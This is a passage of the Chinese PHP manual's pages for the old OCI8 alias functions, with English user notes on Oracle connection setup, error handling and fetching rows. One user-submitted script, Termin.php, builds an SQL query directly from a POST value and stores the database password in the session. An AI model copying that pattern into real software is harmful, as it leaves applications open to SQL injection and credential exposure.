//  CompanyID          VARCHAR2(10)
//  CompanyName      VARCHAR2(30)
//  LastUserID          VARCHAR2(15)
//  LastDate              DATE
//

  $query = "SELECT * FROM Company";

  $result = OCIParse($conn, $query);
  OCIExecute($result, OCI_DEFAULT);

while (OCIFetchInto ($result, $row, OCI_ASSOC)) {

// Usage of OCIcolumnisnull()
if (OCIcolumnisnull($result, 'CompanyName')) {

   print ( "<P>" . $row['CompanyID'] . "--->" . "Company Name NOT found !!  " . "<P>"  );
}
else {

   print ("<P>" . $row['CompanyID'] . "--->" . $row['CompanyName'] . "<P>"  );
}
}

// Close connection from Oracle...

  OCILogoff($conn);
?>
add a note add a note

后退 | 起点 | 前进
ocicolltrim | 上一级 | ocicolumnname


ocicolumnname

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocicolumnname -- oci_field_name() 的别名

说明

本函数是该函数的别名：oci_field_name()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicolumnisnull | 上一级 | ocicolumnprecision


ocicolumnprecision

(PHP 4, PHP 5)

ocicolumnprecision -- oci_field_precision() 的别名

说明

本函数是该函数的别名：oci_field_precision()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicolumnname | 上一级 | ocicolumnscale


ocicolumnscale

(PHP 4, PHP 5)

ocicolumnscale -- oci_field_scale() 的别名

说明

本函数是该函数的别名：oci_field_scale()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicolumnprecision | 上一级 | ocicolumnsize


ocicolumnsize

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocicolumnsize -- oci_field_size() 的别名

说明

本函数是该函数的别名：oci_field_size()。

add a note add a note User Contributed Notes
taq at terra dot com dot br
30-Apr-2002 11:19
Using OCIColumnPrecision() I got the correct field size ( not the Oracle 22 fixed value ). Don't know if its the correct behaviour, but it works. :)
rudi at darx dot com
17-Jul-2000 01:19
Just a note regarding the size of Oracle  NUMBERS will always return 22 as their "size".

This seems to be an Oracle feature. The rest of the documentation is in bug5156.
add a note add a note

后退 | 起点 | 前进
ocicolumnscale | 上一级 | ocicolumntype


ocicolumntype

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocicolumntype -- oci_field_type() 的别名

说明

本函数是该函数的别名：oci_field_type()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicolumnsize | 上一级 | ocicolumntyperaw


ocicolumntyperaw

(PHP 4, PHP 5)

ocicolumntyperaw -- oci_field_type_raw() 的别名

说明

本函数是该函数的别名：oci_field_type_raw()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicolumntype | 上一级 | ocicommit


ocicommit

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ocicommit -- oci_commit() 的别名

说明

本函数是该函数的别名：oci_commit()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicolumntyperaw | 上一级 | ocidefinebyname


ocidefinebyname

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ocidefinebyname -- oci_define_by_name() 的别名

说明

本函数是该函数的别名：oci_define_by_name()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocicommit | 上一级 | ocierror


ocierror

(PHP 3 >= 3.0.7, PHP 4, PHP 5)

ocierror -- oci_error() 的别名

说明

本函数是该函数的别名：oci_error()。

add a note add a note User Contributed Notes
mlong-php at mlong dot us
04-May-2004 02:45
It seems in 4.3 (and probably other versions), if you call OCIError twice it will fail on the second time (with an empty array). This used to work on previous versions but no longer.

So my prior example of doing if (OCIError won't work and you have to do it like the other contributed example:

$r = @OCIExecute($selectw,OCI_DEFAULT);
if (!$r)
{
 $erra=OCIError($selectw);
 print "Error: ${erra['code']} ${erra['message']}";
}
vi at sh dot nu
05-Nov-2003 05:29
Here's an example of how to get the offset from an Oracle statement that errored:

<?

$conn = OCILogon ("user", "password", "database");

$statement = OCIParse ($conn, "select foo, bar from t1 where id = 1");

OCIExecute ($statement, OCI_DEFAULT);

$error = OCIError ($statement);

if ($error["offset"]) {

       $sqltext = substr ($error["sqltext"], 0, $error["offset"]) .
               '*' .
               substr ($error["sqltext"], $error["offset"]);
       echo $sqltext;
}

?>

Presuming the column "foo" doesn't exist in the table "t1", the above code will produce the following:

PHP Warning:  OCIStmtExecute: ORA-00904: "FOO": invalid identifier
 in test.php on line 7
select *foo, bar from table where id = 1

Note the asterisk next to the word "foo".

This example may seem overly simple, and the error location obvious, but when you have an enormous query, you'll quickly find this functionality very useful.

Daniel Ceregatti
cjbj at hotmail dot com
07-Oct-2003 09:18
The documentation says "If the optional stmt|conn|global is not
provided, the last error encountered is returned".  This is not true
and has been noted in bug http://bugs.php.net/bug.php?id=9510 which
says "ocierror always stores the error in the most appropiate
(parent-)handle.".  Also see bug http://bugs.php.net/bug.php?id=25773

Here are three examples of what to pass to OCIError to retrieve an
Oracle error.

<?php

//
// These examples are independent, not cumulative.  Make only one
// change at a time and then run the script.
//
// Example 1: Login errors:
//            Change the database to something invalid.  The Oracle
//            error should be:
//                ORA-12154: TNS:could not resolve service name
//
// Example 2: Parsing errors:
//            Once you've corrected the username, password and
//            database for your site and connected OK, the script
//            should give the Oracle error:
//                ORA-01756: quoted string not properly terminated
//
// Example 3: Execution errors:
//            Change the SQL statement adding a single quote to make
//            'missingquote into 'missingquote'
//            The Oracle error should be:
//                ORA-00923: FROM keyword not found where expected

$username  = "scott";
$password  = "tiger";
$database =  "MYDB";

$stmt = "select no_such_column 'missingquote from dual";

// Display OCI error
function PrintOCIError($err)
{
  echo "<pre>".$err['message']."</pre>\n";
  die();
}

$con = @OCILogon($username, $password, $database);
if (!$con) {

  $e = OCIError();  // For OCILogon errors pass no parameter
  PrintOCIError($e);
}

echo "Connected OK\n";

$stid = @OCIParse($con, $stmt);
if (!$stid) {
  $e = OCIError($con);  // For OCIParse errors pass the connection
  PrintOCIError($e);
}

echo "Parsed OK\n";

$r = @OCIExecute($stid);
if (!$r) {
  $e = OCIError($stid); // For OCIExecute errors pass the statement
  PrintOCIError($e);
}

echo "Executed OK\n";

?>
mlong-php at mlong dot us
27-Aug-2002 11:37
This works well for me...where $select is your handle and dodberror is a custom function you've written to handle the error.  This way you need not worry about what each function returns...just use OCIError to see if there was an error or not.

if (OCIError($select))
{
 $erra=OCIError($select);
 dodberror("SQL Error: $erra[code] $erra[message]");
}
add a note add a note

后退 | 起点 | 前进
ocidefinebyname | 上一级 | ociexecute


ociexecute

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ociexecute -- oci_execute() 的别名

说明

本函数是该函数的别名：oci_execute()。

add a note add a note User Contributed Notes
Flo at yahoo dot com
17-Jun-2004 07:40
Termin.php
<?php
  session_start();
  if(!session_is_registered("db"))
  {
   $_SESSION["user"] = $_POST["user"];
   $_SESSION["pass"] = $_POST["pass"];
   $_SESSION["db"] = $_POST["db"];
  }
  $logdata[0] = $_SESSION["user"];
  $logdata[1] = $_SESSION["pass"];
  $logdata[2] = $_SESSION["db"];
  $conn = OCILogon($logdata[0],$logdata[1],$logdata[2]);

  $sql = "Select T.TEID, TEDATUM, TEUhrzeit, TEORT, TEBeschreibung, KLID as GRID, KLBezeichnung as Bezeichnung From TTermine T, TGruppetermin G, TKLASSE K Where T.TEID=G.TEID AND GRID=K.KLID";
  $stmt = OCIParse($conn, $sql);
  OCIExecute($stmt);
  $rows = OCIFetchstatement($stmt,$results);

  $keys = array_keys($results);
  $table =  "<table>\n <TR>\n";
  foreach($keys as $key)
  {
     $table .= "  <TH>$key</TH>\n";
  }
  $table .= " </TR>\n";
  for($i=0;$i<$rows;$i++)
  {
     $table .= " <TR>";
     foreach($results as $spalte)
     {
         $data = $spalte[$i];
         $table .= "  <TD>$data</TD>";
     }
     $table .=" </TR>";
  }
  $sql = "Select T.TEID, TEDATUM, TEUhrzeit, TEORT, TEBeschreibung, BIID as GRID, BIBezeichnung as Bezeichnung From TTermine T, TGruppetermin G, TBILDUNGSGANG B Where T.TEID=G.TEID AND GRID=B.BIID";
  $stmt = OCIParse($conn, $sql);
  OCIExecute($stmt);
  $rows = OCIFetchstatement($stmt,$results);
  for($i=0;$i<$rows;$i++)
  {
     $table .= " <TR>";
     foreach($results as $spalte)
     {
         $data = $spalte[$i];
         $table .= "  <TD>$data</TD>";
     }
     $table .=" </TR>";
  }
  $sql = "Select T.TEID, TEDATUM, TEUhrzeit, TEORT, TEBeschreibung, BEID as GRID, BEBezeichnung as Bezeichnung From TTermine T, TGruppetermin G, TBERUFSFELD B Where T.TEID=G.TEID AND GRID=B.BEID";
  $stmt = OCIParse($conn, $sql);
  OCIExecute($stmt);
  $rows = OCIFetchstatement($stmt,$results);
  for($i=0;$i<$rows;$i++)
  {
     $table .= " <TR>";
     foreach($results as $spalte)
     {
         $data = $spalte[$i];
         $table .= "  <TD>$data</TD>";
     }
     $table .=" </TR>";
  }
  $table .="</TABLE>";
  /***************************/
  //echo "$table";
  /***************************/
  $sql = "Select BIID From TBILDUNGSGANG";
  $stmt = OCIParse($conn, $sql);
  OCIExecute($stmt);
  $rows = OCIFetchstatement($stmt,$results);
  $biid = $results[BIID];
  $select = "<SELECT NAME=\"biid\">\n";
  foreach($biid as $data)
  {
     $select .= " <OPTION VALUE=\"$data\">$data</OPTION>\n";
  }
  $select .= "</select>";
  //echo $select;

  echo <<< HTML
  <HTML>
  <HEAD>
   <TITLE>TERMIN.PHP</TITLE>
  </HEAD>
  <BODY>
   <H1>Willkommen bei Termin.PHP</H1>
   Hier sind alle termine<br>
   $table
   <p>Sie k&ouml;nnen sich Termine von Klassen bestimmter Bildungsga&auml;nge ansehen. Einfach ausw&auml;hlen.</p>
   <form action="$PHP_SELF" method="post">
   $select<br>
   <input type="submit">
   </form>
HTML;

  $biid = $_POST["biid"];
  if(isset($biid))
  {
     $sql = "Select klid, KlBezeichnung, T.TEID, TEDATUM, TEUHRZEIT, TEORT, TEBeschreibung from Tklasse K, TGruppetermin G, TTermine T where Grid=BIID AND T.TEID=G.TEID AND BIID='$biid'";
     $stmt = OCIParse($conn, $sql);
     OCIExecute($stmt);
     $rows = OCIFetchstatement($stmt,$results);
     $keys = array_keys($results);
     $table =  "<table>\n <TR>\n";
     foreach($keys as $key)
     {
         $table .= "  <TH>$key</TH>\n";
     }
     $table .= " </TR>\n";
     for($i=0;$i<$rows;$i++)
     {
         $table .= " <TR>";
         foreach($results as $spalte)
         {
             $data = $spalte[$i];
             $table .= "  <TD>$data</TD>";
         }
         $table .=" </TR>";
     }
     if($rows>0)
     {
         echo $table;
     }
  }
  echo "</BODY>\n</HTML>";
?>
jicurito at hotmail dot com
10-Dec-2003 08:41
regarding egypt note on double quotes, the reason for that behaviour is that Oracle treats things with double quotes as identifiers on a given statement... using single quotes won't provoque mistakes...
egypt at nmt dot edu
15-Oct-2003 10:31
Whereas MySQL doesn't care what kind of quotes are around a LIKE clause, ociexecute gives the error:
   ociexecute(): OCIStmtExecute: ORA-00904: "NM": invalid identifier
for the following.
<?php
$sql  = "SELECT * FROM addresses "
     . "WHERE state LIKE \"NM\"";  // error!
$stmt = ociparse($conn, $sql);
ociexecute($stmt);
?>

it's fine if you just use single quotes:
   . "WHERE state LIKE 'NM'";
but i think it's interesting that ociparse doesn't say anything
kobbe at lausitz dot net
22-Jan-2003 05:43
If you use OCI_DEFAULT and OCIRollback, don't forget that a simple SELECT-statement works with an commit that has also an effect on all previously statements.
Los Olvidados
17-Jan-2003 05:46
Every time you call ociexecute(), the setting for autocommit may change.  If you don't want autocommit on, be sure to use OCI_DEFAULT for every call to ociexecute.
alexander dot zimmer at gmx dot at
20-Sep-2002 01:18
Addition to the posting of cthrall@rocketmail.com (from 06-Sep-2000):

It's true, you can't call OCIBindByName in a loop and bind to an associative array like this:

  foreach ($array as $key => $val)
  {
   OCIBindByName($state, $key, $val, -1);
  }

BUT: You can do it this way:

  foreach ($array as $key => $val)
  {
   OCIBindByName($state, $key, $array[$key], -1);
  }

Background: the command OCIBindByName BINDS a PHP variable to a parameter, not just its current value. Thus, it is up to you to make sure that the variable has the correct value at the very time when OCIExecute is called, not just when OCIBindByName was called! The PHP variable gets evaluated at the point of OCIExecute and not earlier.

This is somewhat more legible than cthrall's solution (but it surely works, too).
jgrosland at buildscape dot com
08-Sep-1999 01:57
<p>There seems to be some interesting behavior when using OCI_DEFAULT as the second parameter to ociexecute...  once the autocommit behavior is turned off for a connection, it remains off for the life of that connection.
<p>This tends to be a problem when using OCIPLogon, as a SQL statement may remain outstanding over the life of many webpages.

<p>This is most problematic when you're doing an update or insert, and a table remains locked while that connection is waiting for a commit/rollback.  Be sure to explicitly commit or rollback if you use OCI_DEFAULT at any point.
robra at lazarus dot stack dot nl
17-Aug-1999 07:31
To catch what an error was about, I use a piece of PL/SQl instead of just a SELECT. For instance:

 $query="BEGIN
                       SELECT user_id INTO :v_user_id FROM rw_users
                       WHERE gebruikersnaam = LOWER(:p_alias);
                       :ERROR := 0;
                           EXCEPTION
                               when others then
                               :ERROR := 1;
                               :SQLCODE := SQLCODE;
                               :SQLERRM := SUBSTR(SQLERRM,0,300);
                       END;  ";

               $stmt = OCIParse($conn, $query);

               /* Output parameters */
               OCIBindByName($stmt,":ERROR",&$insert_error,32);
               OCIBindByName($stmt,":SQLCODE",&$SQLCODE,32);
               OCIBindByName($stmt,":SQLERRM",&$SQLERRM,300);
               OCIBindByName($stmt,":v_user_id",&$v_user_id,32);

               /*  Input parameters */
               OCIBindByName($stmt,":p_alias", &$p_alias, strlen($p_alias)+2);

               $exec_result = OCIExecute($stmt,OCI_DEFAULT);

Now if the select causes an exception, it is caught and the error message is stored.
add a note add a note

后退 | 起点 | 前进
ocierror | 上一级 | ocifetch


ocifetch

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocifetch -- oci_fetch() 的别名

说明

本函数是该函数的别名：oci_fetch()。

add a note add a note User Contributed Notes
mlong-php at mlong dot us
28-Aug-2002 06:17
Use this with OCIResult().  Though you may find OCIFetchInto to be faster than the combination of OCIFetch and OCIResult.
add a note add a note

后退 | 起点 | 前进
ociexecute | 上一级 | ocifetchinto


ocifetchinto

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocifetchinto -- 获取下一行到一个数组

说明

int ocifetchinto ( resource statement, array &result [, int mode] )

注: 本函数已废弃。建议使用：oci_fetch_array()，oci_fetch_object()，oci_fetch_assoc() 以及 oci_fetch_row()。

ocifetchinto() 获取 SELECT 的下一行到 result 数组。ocifetchinto() 将覆盖 result 以前的内容。在默认情况下，result 是一个索引从 0 开始的数组，含有所有非 NULL 的列。

mode 参数允许改变默认的行为。可以简单的将标志相加来使用多个标志（例如 OCI_ASSOC+OCI_RETURN_NULLS）。其有效值为：

OCI_ASSOC - 返回一个关联数组。
OCI_NUM - 返回一个数字下标从 0 开始的数组（默认情况）。
OCI_RETURN_NULLS - 对于空列返回 NULL 值。
OCI_RETURN_LOBS - 返回 LOB 的值而不是它的描述符。

例子 1. ocifetchinto() 例子

<?php
$conn = ocilogon("username", "password");

$query = "SELECT apples FROM oranges";

$statement = OCIParse ($conn, $query);
OCIExecute ($statement);

while (OCIFetchInto ($statement, $row, OCI_ASSOC)) {
    echo $row['apples'];
}
?>

参见 oci_fetch_array()，oci_fetch_object()，oci_fetch_assoc()，oci_fetch_row()，oci_fetch() 和 oci_execute()。

add a note add a note User Contributed Notes
php at natalian dot org
25-Oct-2005 07:45
There might be a better way.

<?php

 $conn = OCILogon('user', 'secret', 'DB');

 $th = 0; // Table Header

       $query = 'select * from PAYMENT';

       $stid = OCIParse($conn, $query);
       OCIExecute($stid);

       echo "<table>\n\n";
       while (OCIFetchInto($stid, $row, OCI_ASSOC)) {
         if (!$th) {

           $keys = (array_keys($row));

           echo "\n<tr>\n";
           foreach ($keys as $k) {echo "<th>" . $k . "</th>\n";}
           echo "</tr>\n";

           $th = 1; // Table header done !
                   }

         echo "\n<tr>\n";
         foreach ($keys as $k) {echo "<td>" . $row[$k] . "</td>\n";}
         echo "</tr>\n";
         $count = $count + 1;
       }

       echo "</table>\n\n";

echo "<h3>" . $count . " records</h3>";

OCILogoff($conn);
?>
jafar78 at comcast dot net
28-Apr-2005 12:23
Hi, the following is a simple connect and select which creates a single elment array. One can also create a multiDementional array out of this.  I hope this can help.

<?php
$DB_USER="DB user name";
$DB_PASSWD="DB passwd";
$DB="TNS name of your DB";
$connection = OCILogon ($DB_USER, $DB_PASSWD, $DB);
if ($connection == false){
  echo OCIError($connection)."<BR>";
  exit();
}
$ColName="your col name";
$TableName="your table name";
$YourOrderby="your order by col";
   $query = "SELECT $ColName from $TableName ORDER BY $yourOrderby";
   $cursor = ociparse($connection, $query);
   ociexecute($cursor);
   $Rrows = ocifetchstatement($cursor, $results);
   echo "Found: $Rrows results<br><br>\n";

   $myarray = array ();

   for ($i = 0; $i < $Rrows; $i++) {

       $myarray[$i]= $results["$ColName"][$i];

   };
  //This will print all the elements in the array
//or you can print one element=$myarray[0]
 for ($j=0; $j <  $Rrows; $j++){
   echo "myarrayElement$j=$myarray[$j]<br>";
}
McKay Salisbury
11-May-2004 07:10
test1 said that it has to be in all caps, but that isn't the case. Oracle is case sensitive, but it has weird case sensitivity behavior.

oracle takes all identifiers, and "To_Upper"s them, unless they are in double quotes, which it treats as exact case (Single quotes are used for string delimiters)

then a table with the name "BLAH" having columns "Blah1", "BLAH2", and "BLAH3" could be accessed by the SQL statement
select "Blah1", blah2, "BLAH3" from bLaH;
which is the same as
select "Blah1", "BLAH2", bLaH3 from blah;
(note that there is only one way to reference something that is stored in mixed or lower case, i.e. in its proper case, with strings around it

so if a table is created with mixed case and double quotes, then that's how they'll come out of the orifetchinto statement and they will not be all upper case, but most of the time Oracle DBAs (especially dba's recently transferred from a different DBMS) tend to leave the double quotes off all the time, and it appears as if oracle is case insensitive.
cjbj at hotmail dot com
08-Jan-2004 10:29
In Oracle's terms a column alias is a temporary name assigned to a
column.  In "SELECT EMP.ENAME EX1 FROM EMP" the column name is "ENAME"
and the column alias is "EX1".

Associative arrays can be used with duplicate columns if the columns
have aliases.  In the example below the aliases id1 and id2 have been
added.

<?php
$sql = "select a.id id1, b.id id2 from ref a, library b where a.id = b.id";
// ...parsed and executed...
ocifetchinto($stmt, $row, OCI_ASSOC);
Array
(
   [ID2] => 948
   [ID1] => 948
)
*/
?>
Guillaume Cocatre-Zilgien
19-Dec-2003 02:39
The use of ocifetchinto() with the OCI_ASSOC parameter is not suitable for queries with aliased columns: the columns' real names, *not* their aliases, are used as keys in the associative array, causing some values to be overwritten.

<?php
$sql = "select a.id, b.id from ref a, library b where a.id = b.id";
// ...parsed and executed...
ocifetchinto($stmt, $row, OCI_ASSOC);
/* print_r($row) will return only one value instead of two:
Array
(
   [ID] => 948
)
*/
?>
test1 at cet99 dot com
31-Jul-2003 09:40
The returned associative array should have the keys in all uppercase. Otherwise, you will get only null values.
gid <gid at gifpaste.net>
21-May-2003 04:00
With oracle 9i, setting the NLS_DATE_FORMAT variable under Linux didn't want to work with command line php.  I tried export before running php, and putenv inside of php.

So I used the ALTER SESSION command instead to make the date fields return the date AND time by default.  Running the query "ALTER SESSION SET NLS_DATE_FORMAT='YYYY-MM-DD HH24:MI:SS'" worked like a charm.  And it remains effective throughout entire oracle session.
russ at zerotech.net
29-Apr-2003 04:22
In response to an easy way to return an object instead of an array, simply take the array returned, for example:

ocifetchinto($stmt, $myarray, OCI_ASSOC);
$myobject = (object)$myarray;

It will automatically cast into stdClass, and assign a member for each key in $myarray. You can cast like this with anything, including from object back to array.
dan at calleope dot fsnet dot com
12-Mar-2003 03:10
By default Oracle 8i (and I guess 9i) return date type columns in the format "DD MON YY", which can be a problem if you want the time. You can convert these columns in your SELECT statements with the TO_CHAR function, but it is much nicer to make Oracle return ISO 8601 complient dates!

Try setting an environment var for NLS_DATE_FORMAT before you connect to your DB.

The following has worked for me in Apache & IIS on Windows... but it might work on *NIX?

$datetime = 'YYYY-MM-DD HH24:MI:SS';
putenv("NLS_DATE_FORMAT=$datetime");

You can also set this up in the Windows registry:
Key: "HKEY_LOCAL_MACHINE\SOFTWARE\ORACLE\HOME0"
Make a new String value called "NLS_DATE_FORMAT" with a value of "YYYY-MM-DD HH24:MI:SS"

Hope that this helps someone else.
xerxes at dataforce dot com dot au
04-Oct-2002 12:37
Hi all....

Following an eariler message about having similar functionality to "mysql_fetch_object", here is a snip of code i frequently use to return an array of all rows from a query....each element of the array is an object, where the properties for the object are the columns selected from the query.

Note that this function reqs that you pass in a connection handler....

It can be modified to return just a single row, quite easily.

   function executeSQL($SQL, $oConn) {
       $cur = OCIParse($oConn, $SQL);

       if (OCIExecute($cur, OCI_DEFAULT)) {
           $iCounter = 0;
           $aGeneric = Array();
           $TempClass = new stdClass ();
           while(OCIFetchInto($cur, $res, OCI_RETURN_NULLS + OCI_ASSOC)) {
               foreach ($res as $sKey => $sVal) {
                   $TempClass->{$sKey} = $sVal;
               }
               $aGeneric[$iCounter] = $TempClass;

               $iCounter++;
           }
       }
       else {
           return (false);
       }
       return ($aGeneric);
   }

hth!

-Xerxes
Maxwell_Smart at ThePentagon dot com
10-Aug-2002 03:29
When using OCI_RETURN_LOBS to get a BFILE (stored with a DIRECTORY) the user needs READ on the DIRECTORY.  (GRANT READ on DIRECTORY <directory name> TO <user>;) Otherwise, you'll get a cryptic error. Warning: OCILobFileOpen: ORA-22285: non-existent directory or file for FILEOPEN operation in ... on line ...
<BR>
The user that CREATEs the DIRECTORY is automatically GRANTed READ WITH THE GRANT OPTION.
kboyer at matchlogic dot com
15-Jul-2000 04:26
When using ocifetchinto, be careful with the resulting array.  If the array variable is previously populated before calling ocifetchinto, and the the ocifetchinto command returns no (0) rows, the array is not overwritten.  This can make you think that you actually got rows returned when you actually didn't.
add a note add a note

后退 | 起点 | 前进
ocifetch | 上一级 | ocifetchistatement


ocifetchistatement

(no version information, might be only in CVS)

ocifetchistatement -- oci_fetch_all() 的别名

说明

本函数是该函数的别名：oci_fetch_all()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocifetchinto | 上一级 | ocifreecollection


ocifreecollection

(PHP 4 >= 4.1.0, PHP 5)

ocifreecollection -- OCI-Collection->free 的别名

说明

本函数是该函数的别名：OCI-Collection->free。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocifetchistatement | 上一级 | ocifreecursor


ocifreecursor

(PHP 3 >= 3.0.8, PHP 4, PHP 5)

ocifreecursor -- oci_free_statement() 的别名

说明

本函数是该函数的别名：oci_free_statement()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocifreecollection | 上一级 | ocifreedesc


ocifreedesc

(PHP 4, PHP 5)

ocifreedesc -- OCI-Lob->free 的别名

说明

本函数是该函数的别名：OCI-Lob->free。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocifreecursor | 上一级 | ocifreestatement


ocifreestatement

(PHP 3 >= 3.0.5, PHP 4, PHP 5)

ocifreestatement -- oci_free_statement() 的别名

说明

本函数是该函数的别名：oci_free_statement()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocifreedesc | 上一级 | ociinternaldebug


ociinternaldebug

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ociinternaldebug -- oci_internal_debug() 的别名

说明

本函数是该函数的别名：oci_internal_debug()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ocifreestatement | 上一级 | ociloadlob


ociloadlob

(PHP 4, PHP 5)

ociloadlob -- OCI-Lob->load 的别名

说明

本函数是该函数的别名：OCI-Lob->load。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
ociinternaldebug | 上一级 | ocilogoff


ocilogoff

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocilogoff -- oci_close() 的别名

说明

本函数是该函数的别名：oci_close()。

add a note add a note User Contributed Notes
john at petbrain dot com
12-Sep-2002 12:47
OCILogon ... one thing about is, is that its good practice to use OCILogoff, becase you don't really know what the idle release time is from the Oracle server. In my case, the DBM set the idle time insanely high because we have other projects coming out of Oracle and not just php. Just because php exits, doesn't mean the Oracle connection is dead.
yepster at hotmail dot com
17-Feb-2002 02:21
For using persistent connections && being able to sleep, I use:

function close_db_locks_on_abort( ) {
   global $conn;
   if( connection_aborted() ) {
       $fp = fopen( "/tmp/shutdown-func.txt", "a" );
       fwrite( $fp, sprintf( "connection aborted on %s\n", date( "d-m-Y H:i:s" ) ) );
       if( $conn ) {
           OCIRollBack( $conn );
           fwrite( $fp, sprintf( "-- DURING CONNECTION! ip=%s, user=%s, page=%s\n", $_SERVER["REMOTE_ADDR"], $_SERVER["PHP_AUTH_USER"], $_SERVER["SCRIPT_FILENAME"] ) );
       }
       fclose( $fp );
   }
}

register_shutdown_function ( "close_db_locks_on_abort" );

This makes sure a rollback is done on a connection when a user hits 'stop', so there will be no locks on table rows.
add a note add a note

后退 | 起点 | 前进
ociloadlob | 上一级 | ocilogon


ocilogon

(PHP 3 >= 3.0.4, PHP 4, PHP 5)

ocilogon -- oci_connect() 的别名

说明

本函数是该函数的别名：oci_connect()。

add a note add a note User Contributed Notes
ben at onshop dot co dot uk
14-Jul-2005 08:25
There is a useful solution to the problem of securing connection information in the PHP Cookbook (O'Reilly) by David Sklar and Adam Trachtenberg. They propose using 'SetEnv' in the Apache configuration and then accessing the values from within a script using $_SERVER.

Unfortunately using the 'SetEnv' solution exposes your connection information to all users of that virtual host. If they run phpinfo.php or display $_SERVER, I found that they will see the password from any file under the root of that virtual host.

To restrict exposure to a particular directory or specific file:

1. First put an 'Include' to the secret file in httpd.conf. For example:

Include "/web/private/secret.txt"

2. In the password file, use the 'SetEnvIf' directive to enable the Environment variables by directory only or within a specific file. For example:

- For all files in the directory:

SetEnvIf Request_URI "/path/to/my/directory" ORACLE_PASS=5gHj790j

- For a specific file in the directory

SetEnvIf Request_URI "/path/to/my/directory/connection.oracle.php" ORACLE_PASS=5gHj790j
ben at onshop dot co dot uk
06-Jul-2005 11:51
I spent ages trying work out why I was getting the following message when when using ocilogon() on Windows 2000 using PHP 4 and 5:

ORA-03106 Fatal two-task communication protocol error

This problem is occurs when PHP cannot find ORACLE client environmental variables.

The environmental variables can be set in several ways:

1. Within the root 'Directory' directive on Apache httpd.conf:

<Directory "d:/path/to/webroot">
  SetEnv ORACLE_BASE "c:/oracle"
  SetEnv ORACLE_HOME "c:/oracle/ora81"
  SetEnv NLS_LANG "american_america.WE8DEC"
  SetEnv NLS_CHARACTERSET "WE8DEC"
  SetEnv NLS_NCHAR_CHARACTERSET "AL16UTF16"
</Directory>

or

2. Within Windows:

Go to the Control Panel>System>Advanced>Environmental Variables

Then enter a name value/pair for each of the variables.

3. Using putenv() statements in the PHP file prior to using ocilogon(). This is not ideal because the statements are required evertime you wish to connect to Oracle.
tof
18-May-2005 08:15
If you want the change NLS_LANG (e.g.:  NLS_LANG="FRENCH_FRANCE.WE8ISO8859P1") don't forget to also set LC_ALL and LANG (e.g.: LC_ALL=french and LANG=french) else you'll have a ORA-01756 when you try to call ocilogon.
yamakazi dot hiroshi at gmail dot com
17-Nov-2004 05:44
In reply to william_poulsen at hotmail dot com:

I was trying to connect to a Oracle database wich worked fine in a web browser but failed when i executed the script from command line.

Thanks to william_poulsen at hotmail dot com i learned that the problem was that the command line can't find the TNSNAMES.  His solution was to edit you DB to the TNSNAMES entry.  Sadly enough this didn't do the trick.  I got segmantation fault when the script was executed.  So i started to set my Oracle variables prior to executing the script.  ORACLE_SID, ORACLE_HOME, ORACLE_BASE and added $ORACLE_HOME/BIN  to the path.  After that PHP seems to use this variables and the connection can be made.  Problem solved.

I hope this can help somebody out there.
neogodo at yahoo dot com dot br
07-Aug-2004 09:15
Hey guys!!!!

 I have all these problems and when are solved a php show this:

_oci_server ORA-12159:connection text especified is too long

It's simple!!!

  In the TNSNAMES.ORA remove all space, tab, carriage return on the conection string and, wallah!!! All work fine!!!

  More info:

   PHP 5.0.0  with Oci8
   Apache 1.3

Regards,
Romolo (neogodo@yahoo.com.br).
DBA Oracle
Brazil - SP - Sao Paulo
ed000001 at hotmail dot com
02-Jul-2004 06:04
If you get your connectivity working with putenv on ORACLE_SID and ORACLE_HOME, but you do not want to use putenv because you want safemode on. You will need to pass these from your environment variables.  Somehow setenv in httpd.conf did not do the trick for me... the values are set but the connectivity does not work.  Then you will need to set the environment in your /etc/init.d/apachectl or /etc/profile and use a "PassEnv ORACLE_HOME ORACLE_SID" directive in httpd.conf so that these variables are picked up by php.

However, when you suexec in Apache 2.0, the server will only allow you to pass a given set of variables which are defined in the apache source code in the file apache-dir/support/suexec.c

In order to pass ORACLE_SID and ORACLE_HOME to PHP you need to add these to that file.  The relevant changed piece of code where I added "ORACLE_" looks something like this:

char *safe_env_lst[] =
{
   /* variable name starts with */
   "HTTP_",
   "SSL_",
   "ORACLE_",

   /* variable name is */
...

You will have to do a "make clean", "./configure", "make", "make install".  Do not forget to do the "make clean" or the apache changes will not be picked up.

Here is a nice php test script :)

<?php // test-oracle.php

   function dump_array($a_value)
   {
       reset($a_value);
       for ( $s_str = '' ; list($s_key, $x_value) = each($a_value) ;  )
       {
           $s_str .= "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;".
                     "<span style=\"color:green\">[</span>$s_key<span style=\"color:green\">]</span> = ".
                     "<span style=\"color:red\">[</span>$x_value<span style=\"color:red\">]</span><br />";
       }
       reset($a_value);
       echo $s_str;
   }

#putenv("ORACLE_SID=ORTD");
